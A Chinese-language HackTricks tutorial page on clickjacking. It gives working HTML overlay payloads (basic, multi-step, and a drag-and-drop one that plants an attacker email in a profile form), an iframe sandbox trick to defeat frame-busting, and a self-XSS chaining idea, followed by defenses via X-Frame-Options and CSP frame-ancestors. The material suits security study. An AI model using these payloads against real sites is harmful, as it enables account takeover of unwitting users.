10 KiB
点击劫持
从零开始学习AWS黑客攻击直至成为专家,通过 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
什么是点击劫持
点击劫持是一种攻击,它诱骗用户点击一个不可见或伪装成另一个元素的网页元素。这可能导致用户无意中下载恶意软件,访问恶意网页,提供凭证或敏感信息,转账或在线购买产品。(来自这里)。
预填充表单技巧
有时候,当加载页面时,可以使用GET参数填充表单字段的值。攻击者可能会滥用这种行为,用任意数据填充表单,并发送点击劫持有效载荷,使用户按下提交按钮。
使用拖放填充表单
如果您需要用户填写表单,但您不想直接要求他写一些特定信息(比如您知道的电子邮件或特定密码),您可以只要求他拖放一些东西,这将写入您控制的数据,就像在这个例子中一样。
基础有效载荷
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
多步骤有效载荷
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
拖放 + 点击负载
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + 点击劫持
如果您发现了一个需要用户点击某个元素来触发XSS的XSS攻击,并且页面容易受到点击劫持,您可以利用它欺骗用户点击按钮/链接。
示例:
您在帐户的一些私人详细信息中发现了一个自身XSS(只有您可以设置和读取的详细信息)。设置这些详细信息的页面表单容易受到点击劫持,并且您可以使用GET参数预填充表单。
__攻击者可以准备对该页面的点击劫持攻击,预填充表单XSS有效载荷,并诱骗用户提交表单。因此,当表单被提交且值被修改时,用户将执行XSS。
如何避免点击劫持
客户端防御
可以在客户端执行脚本,执行以下一些或全部行为以防止点击劫持:
- 检查并确保当前应用程序窗口是主窗口或顶层窗口,
- 使所有框架可见,
- 防止点击不可见的框架,
- 拦截并标记对用户可能的点击劫持攻击。
绕过
由于框架破坏者是JavaScript,因此浏览器的安全设置可能会阻止它们的操作,或者浏览器甚至可能不支持JavaScript。对抗框架破坏者的有效攻击者解决方案是使用HTML5 iframe sandbox
属性。当设置了allow-forms
或allow-scripts
值,并且省略了allow-top-navigation
值时,框架破坏脚本可以被中和,因为iframe无法检查它是否是顶层窗口:
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
allow-forms
和 allow-scripts
值允许在iframe中执行指定操作,但禁用了顶级导航。这阻止了破坏框架的行为,同时允许在目标站点内的功能。
根据执行的Clickjacking攻击类型,您可能还需要允许:allow-same-origin
和 allow-modals
或更多。准备攻击时,只需检查浏览器的控制台,它可能会告诉您需要允许哪些其他行为。
X-Frame-Options
X-Frame-Options
HTTP响应头 可用于指示浏览器是否应该被允许在 <frame>
或 <iframe>
中渲染页面。网站可以使用此功能来避免Clickjacking攻击,确保他们的内容不被嵌入到其他网站中。为所有包含HTML内容的响应设置**X-Frame-Options
** 头。可能的值有:
X-Frame-Options: deny
阻止任何域框架内容 (推荐值)X-Frame-Options: sameorigin
只允许当前站点框架内容。X-Frame-Options: allow-from https://trusted.com
**允许指定的'uri'**框架此页面。- 请检查下面的限制,因为如果浏览器不支持,这将失败。
- 其他浏览器支持新的CSP frame-ancestors指令。一些同时支持两者。
内容安全策略 (CSP) frame-ancestors指令
推荐的clickjacking保护是在应用程序的内容安全策略中加入**frame-ancestors
指令**。
frame-ancestors 'none'
指令的行为类似于 X-Frame-Options deny
指令(没有人可以框架页面)。
frame-ancestors 'self'
指令大致相当于 X-Frame-Options sameorigin
指令(只有当前站点可以框架它)。
frame-ancestors trusted.com
指令大致相当于 X-Frame-Options allow-from
指令(只有受信任的站点可以框架它)。
以下CSP仅将框架列入同一域名:
Content-Security-Policy: frame-ancestors 'self';
有关更多详细信息和更复杂示例,请参阅以下文档:
- https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
限制
- 浏览器支持: 并非所有主流浏览器都支持CSP frame-ancestors。
- X-Frame-Options优先: CSP规范的"与X-Frame-Options的关系"部分说:"如果资源是带有包含名为frame-ancestors的指令的策略交付的,并且其处置为'执行',那么必须忽略X-Frame-Options头",但Chrome 40和Firefox 35忽略frame-ancestors指令,而遵循X-Frame-Options头。
参考资料
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
通过 htARTE (HackTricks AWS Red Team Expert)从零到英雄学习AWS黑客攻击!
其他支持HackTricks的方式:
- 如果您想在HackTricks中看到您的公司广告或以PDF格式下载HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。